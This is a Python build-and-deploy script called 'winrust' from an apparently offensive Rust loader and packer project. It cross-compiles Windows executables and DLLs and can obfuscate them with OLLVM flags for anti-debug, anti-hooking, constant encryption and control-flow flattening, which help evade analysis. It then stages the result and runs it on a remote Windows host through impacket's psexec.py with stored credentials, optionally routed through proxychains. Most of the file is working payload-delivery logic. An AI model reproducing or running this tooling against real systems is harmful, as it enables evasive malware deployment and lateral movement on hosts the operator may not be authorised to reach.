Files
Brother-x86 fe42452329 fix winrust
2026-04-03 09:34:17 +02:00

452 lines
21 KiB
Python

import argparse
import logging
import sys
import uuid
import os
# bin
# no_loader/no_dll
working_dir = os.path.basename(os.getcwd())
feat_ollvm=""
if "malleable-rust-loader" in working_dir:
malleable_rust_loader=True
feat_ollvm="--features ollvm "
else:
malleable_rust_loader=False
if "packer-en-rust" in working_dir:
packer_en_rust=True
else:
packer_en_rust=False
parser = argparse.ArgumentParser(
prog = 'winrust',
description = 'Tools to help from Linux to compile rust code Windows and then exec it into a Windows host by uploading with SMB + use some some impacket LateralMovement techniques',
epilog = 'by Brother')
#if True:
if malleable_rust_loader:
parser.add_argument('-bin',default='loader',help='target bin')
parser.add_argument('--nobin',default=False,action='store_true',help='dont use the bin value')
parser.add_argument('--nop',default=False,action='store_true',help='dont use the bin value')
elif packer_en_rust:
parser.add_argument('-bin',default='loader',help='target bin')
parser.add_argument('--nobin',default=False,action='store_true',help='dont use the bin value')
parser.add_argument('--nop',default=True,action='store_true',help='dont use the bin value')
elif os.path.isdir("src/bin"):
parser.add_argument('bin', help='target bin')
parser.add_argument('--nobin',default=False,action='store_true',help='dont use the bin value')
parser.add_argument('--nop',default=False,action='store_true',help='dont use the bin value')
else:
import re
with open("Cargo.toml") as f:
for ligne in f:
m=re.search(r"name\s*=\s*\"(.*)\"$", ligne)
if m:
args_bin=m.group(1)
parser.add_argument('-bin',default=args_bin,help='target bin')
parser.add_argument('--nobin',default=True,action='store_true',help='dont use the bin value')
break
parser.add_argument('--mem1',default=False,action='store_true',help='add a file in MEMORY_1 at compilation time, file should be located here: ~/.malleable/config/mem1')
parser.add_argument('--mem2',default=False,action='store_true',help='add a file in MEMORY_2 at compilation time, file should be located here: ~/.malleable/config/mem2')
parser.add_argument('--mem3',default=False,action='store_true',help='add a file in MEMORY_3 at compilation time, file should be located here: ~/.malleable/config/mem3')
parser.add_argument('--mem4',default=False,action='store_true',help='add a file in MEMORY_4 at compilation time, file should be located here: ~/.malleable/config/mem4')
parser.add_argument('-exec_target',default='',help='[[domain/]username[:password]@]<targetName or address>, by default use the content of ~/.exec')
parser.add_argument('-exec_method',default='psexec.py',help='Method to execute on the Windows side, default psexec.py')
parser.add_argument('--no_exec',default=False,action='store_true',help='Compile only and drop with smb to the target but dont execute')
parser.add_argument('--no_drop',default=False,action='store_true',help='Compile only, dont drop to the target,dont execute')
parser.add_argument('--ollvm',default=False,action='store_true',help='OLLVM obfuscation, add the release flag automatically')
parser.add_argument('--release',default=False,action='store_true',help='activate the cargo release mode for compilation, sinon its debug')
parser.add_argument('--debug',default=False,action='store_true',help='activate the agent debug log into STDOUT, RUST_LOG=debug .you should also activate rust loggin via env variable: setx RUST_LOG info /m + setx RUST_LOG info')
parser.add_argument('--info',default=False,action='store_true',help='activate the agent debug log into STDOUT, RUST_LOG=info . you should also activate rust loggin via env variable: setx RUST_LOG info /m + setx RUST_LOG info')
parser.add_argument('--visible',default=False,action='store_true',help='dont disable the window terminal and permit to show the execution output (this options is also automatically included in info+debug)')
parser.add_argument('--verbose','-v',default=False,action='store_true',help='verbose execution')
parser.add_argument('--loader',default=malleable_rust_loader,action='store_true',help='dont add this compil flag: --features loader')
parser.add_argument('--loader_dll',default=malleable_rust_loader,action='store_true',help='dont add this compil flag: --features dll')
parser.add_argument('--dll',default=False,action='store_true',help='compile to dll')
parser.add_argument('--proxychains',default=False,action='store_true',help='add proxychains in front of commands exec+upload command')
parser.add_argument('--clean',default=False,action='store_true',help='clean the binary with clean_exe.py')
parser.add_argument('--offline',default=False,action='store_true',help='dont download again dependency')
args = parser.parse_args()
def main():
log = logging.getLogger("my-logger")
if args.verbose:
log.setLevel(logging.DEBUG)
else:
log.setLevel(logging.INFO)
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
formatter = logging.Formatter("%(asctime)s %(levelname)s\t%(message)s")
ch.setFormatter(formatter)
log.addHandler(ch)
log.info("Winrust start 🔥")
log.debug(f"args_bin={args.bin}")
if args.loader :
features_loader='--features loader'
else:
features_loader=''
if args.visible :
features_visible='--features visible'
else:
features_visible=''
if args.release or args.ollvm:
mode='release'
comm_mode='--release'
else:
mode='debug'
comm_mode=''
log_level=''
if args.debug:
log_level='--features debug'
if args.info:
log_level=f'{log_level} --features info'
if args.proxychains:
proxychains='proxychains '
else:
proxychains=''
if args.offline:
offline='--offline'
else:
offline=''
if args.exec_target == '':
#TODO if file not present
with open(os.path.expanduser("~")+'/.exec') as file_read:
exec_target=file_read.read().replace('\n','')
else:
exec_target=args.exec_target
memory_options=args.mem1*' --features mem1 ' + args.mem2*' --features mem2 ' + args.mem3*' --features mem3 ' + args.mem4*' --features mem4 '
if args.dll:
if args.loader_dll:
dll_options="--features dll --lib --crate-type=cdylib"
else:
dll_options="--lib"
dll_smb="put overlord.exe"
file_format="dll"
bin_comm=""
else:
dll_options=""
dll_smb=""
file_format="exe"
bin_comm=f'''--bin "{args.bin}"'''
if args.nobin:
bin_comm=""
elif args.nop:
bin_comm=f'''-p "{args.bin}"'''
if not args.ollvm:
file=f"target/x86_64-pc-windows-gnu/{mode}/{args.bin}.{file_format}"
else:
file=f"ollvm/x86_64-pc-windows-gnu/{mode}/{args.bin}.{file_format}"
filename=os.path.basename(file)
filename_target=f"{args.bin}-{uuid.uuid4().hex}.{file_format}"
#file_target=f"/tmp/{filename_target}"
file_target=f"/home/user/shared/{filename_target}"
compilation_args=f"{bin_comm} {log_level} {features_visible} {memory_options} {features_loader} {dll_options} {offline}"
log.debug(f"file={file}")
log.debug(f"filename={filename}")
log.debug(f"filename_target={filename_target}")
log.debug(f"file_target={file_target}")
log.debug(f"exec_target={exec_target}")
log.debug(f"memory_options={memory_options}")
log.debug(f"compilation_args={compilation_args}")
if not args.ollvm:
log.info("[+] NORMAL Compilation")
# TODO enlever --features executable
#comm=f'''cargo rustc --target x86_64-pc-windows-gnu {comm_mode} {compilation_args}'''
#comm=f'''RUSTFLAGS="-C link-arg=/DELAYLOAD:bcrypt.dll" cargo rustc --target x86_64-pc-windows-gnu {comm_mode} {compilation_args}'''
if packer_en_rust:
rustflags = " ".join([
f'-C link-arg=-nostartfiles ' ,
f'-C link-arg=-Wl,--entry,mainCRTStartup ',
])
rustflags=f'RUSTFLAGS="{rustflags}" '
print('packer-en-rust')
print(f'rustflags = {rustflags} ')
else:
rustflags=''
comm=f'''{rustflags}cargo rustc --target x86_64-pc-windows-gnu {comm_mode} {compilation_args}'''
#RUSTFLAGS="-C llvm-args=--enable-bcfobf
log.info(comm)
compil_result=os.system(comm)
else:
log.info("[+] OLLVM Compilation")
os.system('cp ~/.malleable/config/initial.json* ~/.malleable/config/mem* config/')
# DEBUG probleme compilation
os.system('mv Cargo.lock Cargo.lock.normal')
os.system('cp Cargo.lock.ollvm Cargo.lock')
old=('''
OLLVM FEATURE, cf: https://github.com/joaovarelas/Obfuscator-LLVM-16.0
ACTIVATED:
Anti Class Dump: -enable-acdobf
Anti Hooking: -enable-antihook
Anti Debug: -enable-adb
Bogus Control Flow: -enable-bcfobf
Basic Block Splitting: -enable-splitobf
Instruction Substitution: -enable-subobf
Function CallSite Obf: -enable-fco
(*) String Encryption: -enable-strcry
Constant Encryption: -enable-constenc
(*) Function Wrapper: -enable-funcwra
(*) Control Flow Flattening: -enable-cffobf
(*) Indirect Branching: -enable-indibran
------
NOT ACTIVATED:
N/A
''')
log.info('OLLVM FEATURE: ngtystr/rust-obfuscator-llvm:1.89.0-20.1.5-20251230')
#comm=f'''sudo docker run -v $(pwd):/projects/ -e LITCRYPT_ENCRYPT_KEY="$LITCRYPT_ENCRYPT_KEY" -e CARGO_TARGET_DIR=ollvm -it ghcr.io/joaovarelas/obfuscator-llvm-16.0 cargo rustc {compilation_args} --features ollvm --target x86_64-pc-windows-gnu --release -- -Cdebuginfo=0 -Cstrip=symbols -Cpanic=abort -Copt-level=3 -Cllvm-args='-enable-acdobf -enable-antihook -enable-adb -enable-bcfobf -enable-splitobf -enable-subobf -enable-fco -enable-funcwra -enable-cffobf -enable-indibran' '''
#comm=f'''sudo docker run -v $(pwd):/projects/ -w /projects -e LITCRYPT_ENCRYPT_KEY="$LITCRYPT_ENCRYPT_KEY" -e CARGO_TARGET_DIR=ollvm -it ngtystr/rust-obfuscator-llvm:1.89.0-20.1.5-20251230 cargo rustc {compilation_args} --features ollvm --target x86_64-pc-windows-gnu --release'''
#comm=f'''sudo docker run -v $(pwd):/projects/ -w /projects -e LITCRYPT_ENCRYPT_KEY="$LITCRYPT_ENCRYPT_KEY" -e CARGO_TARGET_DIR=ollvm -e RUSTFLAGS="-C llvm-args=--enable-bcfobf -C llvm-args=--enable-antihook -C llvm-args=--enable-allobf -C llvm-args=--enable-acdobf -C llvm-args=--enable-cffobf -C llvm-args=--enable-fco -C llvm-args=--enable-funcwra -C llvm-args=--enable-indibran -C llvm-args=--enable-name-compression -C llvm-args=--enable-splitobf -C llvm-args=--enable-subobf" -it ngtystr/rust-obfuscator-llvm:1.89.0-20.1.5-20251230 cargo rustc {compilation_args} --features ollvm --target x86_64-pc-windows-gnu --release -- -C llvm-args="--enable-bcfobf --enable-antihook --enable-allobf --enable-acdobf --enable-cffobf --enable-fco --enable-funcwra --enable-indibran --enable-name-compression --enable-splitobf --enable-subobf" '''
# --enable-allobf activation de TOUT.
#comm=f'''sudo docker run -v $(pwd):/projects/ -w /projects -e CARGO_TARGET_DIR=ollvm -e RUSTFLAGS="-C llvm-args=--enable-bcfobf -C llvm-args=--enable-antihook -C llvm-args=--enable-strcry -C llvm-args=--strcry_prob=100 -C llvm-args=--enable-constenc -C llvm-args=--enable-acdobf -C llvm-args=--enable-cffobf -C llvm-args=--enable-fco -C llvm-args=--enable-funcwra -C llvm-args=--enable-indibran -C llvm-args=--enable-name-compression -C llvm-args=--enable-splitobf -C llvm-args=--enable-subobf" -it ngtystr/rust-obfuscator-llvm:1.89.0-20.1.5-20251230 cargo rustc {compilation_args} --features ollvm --target x86_64-pc-windows-gnu --release'''
rustflags = " ".join([
"-C llvm-args=--enable-bcfobf",
# "-C llvm-args=--enable-antihook",
# "-C llvm-args=--enable-strcry",
# "-C llvm-args=--strcry_prob=100",
"-C llvm-args=--enable-constenc",
"-C llvm-args=--enable-acdobf",
"-C llvm-args=--enable-cffobf",
"-C llvm-args=--enable-fco",
"-C llvm-args=--enable-funcwra",
# "-C llvm-args=--enable-indibran",
"-C llvm-args=--enable-name-compression",
"-C llvm-args=--enable-splitobf",
"-C llvm-args=--enable-subobf",
"-C llvm-args=--hikari"
])
# https://claude.ai/chat/7e82e06a-b6ee-4cca-8142-6fab827d78df
# Les flags les plus gourmands en RAM/CPU sont clairement bcf_loop, constenc_times et fw_times. Voici une config allégée :
if packer_en_rust :
log.info('packer_en_rust OLLVM special options')
rustflags = " ".join([
"-C llvm-args=--enable-bcfobf",
"-C llvm-args=--enable-antihook",
# "-C llvm-args=--enable-strcry",
# "-C llvm-args=--strcry_prob=100",
"-C llvm-args=--enable-constenc",
"-C llvm-args=--enable-acdobf",
"-C llvm-args=--enable-cffobf",
"-C llvm-args=--enable-fco",
"-C llvm-args=--enable-funcwra",
"-C llvm-args=--enable-indibran",
"-C llvm-args=--enable-name-compression",
"-C llvm-args=--enable-splitobf",
"-C llvm-args=--enable-subobf",
# BCF junk code
"-C llvm-args=--bcf_prob=100",
"-C llvm-args=--bcf_loop=1",
"-C llvm-args=--bcf_junkasm", # en cours de test
"-C llvm-args=--bcf_junkasm_minnum=1", # en cours de test
"-C llvm-args=--bcf_junkasm_maxnum=3", # en cours de test
# Substitution
"-C llvm-args=--sub_prob=100",
"-C llvm-args=--sub_loop=1",
# Constant encryption
#"-C llvm-args=--constenc_times=1",
#"-C llvm-args=--constenc_togv",
#"-C llvm-args=--constenc_togv_prob=30",
#"-C llvm-args=--constenc_subxor",
#"-C llvm-args=--constenc_subxor_prob=30",
# Indirect branch
"-C llvm-args=--indibran-use-stack",
"-C llvm-args=--indibran-enc-jump-target",
# Function wrapper
"-C llvm-args=--fw_prob=100",
"-C llvm-args=--fw_times=1",
# Block splitting
"-C llvm-args=--split_num=3",
"-C llvm-args=--hikari", # Active le moteur IR obfuscation global
#"-C llvm-args=--bcf_createfunc", # Met le junk dans de vraies fonctions = plus dur à éliminer
"-C link-arg=-Wl,--no-gc-sections", # Désactive le garbage collect des sections
f'-C link-arg=-nostartfiles ' ,
f'-C link-arg=-Wl,--entry,mainCRTStartup ',
])
#if malleable_rust_loader :
if False :
log.info('malleable_rust_loader OLLVM special options')
rustflags = " ".join([
"-C llvm-args=--enable-bcfobf",
"-C llvm-args=--enable-antihook",
# "-C llvm-args=--enable-strcry",
# "-C llvm-args=--strcry_prob=100",
"-C llvm-args=--enable-constenc",
"-C llvm-args=--enable-acdobf",
"-C llvm-args=--enable-cffobf",
"-C llvm-args=--enable-fco",
"-C llvm-args=--enable-funcwra",
# "-C llvm-args=--enable-indibran",
"-C llvm-args=--enable-name-compression",
"-C llvm-args=--enable-splitobf",
"-C llvm-args=--enable-subobf",
# BCF junk code
"-C llvm-args=--bcf_prob=10",
"-C llvm-args=--bcf_loop=1",
"-C llvm-args=--bcf_junkasm", # en cours de test
# "-C llvm-args=--bcf_junkasm_minnum=1", # en cours de test
# "-C llvm-args=--bcf_junkasm_maxnum=3", # en cours de test
# Substitution
"-C llvm-args=--sub_prob=100",
"-C llvm-args=--sub_loop=1",
# Constant encryption
#"-C llvm-args=--constenc_times=1",
#"-C llvm-args=--constenc_togv",
#"-C llvm-args=--constenc_togv_prob=30",
#"-C llvm-args=--constenc_subxor",
#"-C llvm-args=--constenc_subxor_prob=30",
# Indirect branch
# "-C llvm-args=--indibran-use-stack",
# "-C llvm-args=--indibran-enc-jump-target",
# Function wrapper
"-C llvm-args=--fw_prob=100",
"-C llvm-args=--fw_times=1",
# Block splitting
# "-C llvm-args=--split_num=3",
"-C llvm-args=--hikari", # Active le moteur IR obfuscation global
#"-C llvm-args=--bcf_createfunc", # Met le junk dans de vraies fonctions = plus dur à éliminer
"-C link-arg=-Wl,--no-gc-sections", # Désactive le garbage collect des sections
# f'-C link-arg=-nostartfiles ' ,
# f'-C link-arg=-Wl,--entry,mainCRTStartup ',
])
comm = (
f"sudo docker run "
f"-v $(pwd):/projects/ "
f"-w /projects "
f"-e CARGO_TARGET_DIR=ollvm "
f'-e RUSTFLAGS="{rustflags}" '
"-e RUST_MIN_STACK=33554432 " # 32MB
f"-it ngtystr/rust-obfuscator-llvm:1.89.0-20.1.5-20251230 "
f"cargo rustc {compilation_args} "
f"{feat_ollvm}"
f"--target x86_64-pc-windows-gnu "
f"--release"
)
log.info(comm)
compil_result=os.system(comm)
# DEBUG probleme compilation
if os.path.exists('Cargo.lock'):
os.system('cp -rf Cargo.lock Cargo.lock.ollvm')
if os.path.exists('Cargo.lock.normal'):
os.system('mv Cargo.lock.normal Cargo.lock')
# compil_result=0 if compilation is OK
if not compil_result:
log.info('[+] compilation succeed')
if args.dll:
log.info(f"[+] modifiy overlord.c to overlord_mod.c with target dll: {filename_target}")
with open('overlord.c', 'r') as fichier:
contenu = fichier.read() # Lire le contenu du fichier
contenu_modifie = contenu.replace('REPLACEME', filename_target)
with open('overlord_mod.c', 'w') as fichier:
fichier.write(contenu_modifie)
log.info("[+] compile overlord_mod.c into overlord.exe")
os.system("x86_64-w64-mingw32-gcc -o /home/user/shared/overlord.exe overlord_mod.c -L.")
os.system("rm overlord_mod.c")
#os.system('rm -f config/*')
log.info(os.popen(f'ls -lah {file}').read().replace('\n',''))
log.info(os.popen(f'file {file}').read().replace('\n',''))
log.info(os.popen(f'sha256sum {file}').read().replace('\n',''))
log.info(os.popen(f'sha1sum {file}').read().replace('\n',''))
os.system(f'cp {file} {file_target}')
if args.clean:
os.system(f'python3 /home/user/malleable-rust-loader/utilitaire/clean_exe.py {file_target}')
file_target=file_target+".clean.exe"
filename_target=filename_target+".clean.exe"
#log.info(f'[+] strings {file_target} > /home/user/malleable-rust-loader/winrust.strings')
#os.system(f'strings {file_target} > /home/user/malleable-rust-loader/winrust.strings')
if not args.no_drop:
if args.verbose:
#log.info(f'[+] upload file via SMB into: {exec_target}')
pass
else:
#log.info(f'[+] upload file via SMB into target')
pass
upload_comm=f'''
{proxychains}smbclient.py "{exec_target}" <<EOF
use C$
put {file_target}
{dll_smb}
ls {filename_target}
exit
EOF
'''
#os.system(upload_comm)
if not args.no_exec:
if not args.dll :
log.info(f'[+] exec z:\\{filename_target} with {args.exec_method}')
exec_comm=f"{proxychains}{args.exec_method} {exec_target} z:\\\\{filename_target}"
log.debug(exec_comm)
os.system(exec_comm)
else:
log.info(f'[+] exec z:\\overlord.exe to load and run Overlord entrypoint of z:\\{filename_target} with {args.exec_method}')
exec_comm=f"{proxychains}{args.exec_method} {exec_target} z:\\\\overlord.exe"
log.debug(exec_comm)
os.system(exec_comm)
else:
log.info("[+] no EXEC")
else:
log.info("[+] no DROP")
log.info("[+] no EXEC")
else:
log.info('[+] compilation failed')
#os.system('rm -f config/*')
log.info('winrust Done')
if __name__ == '__main__':
main()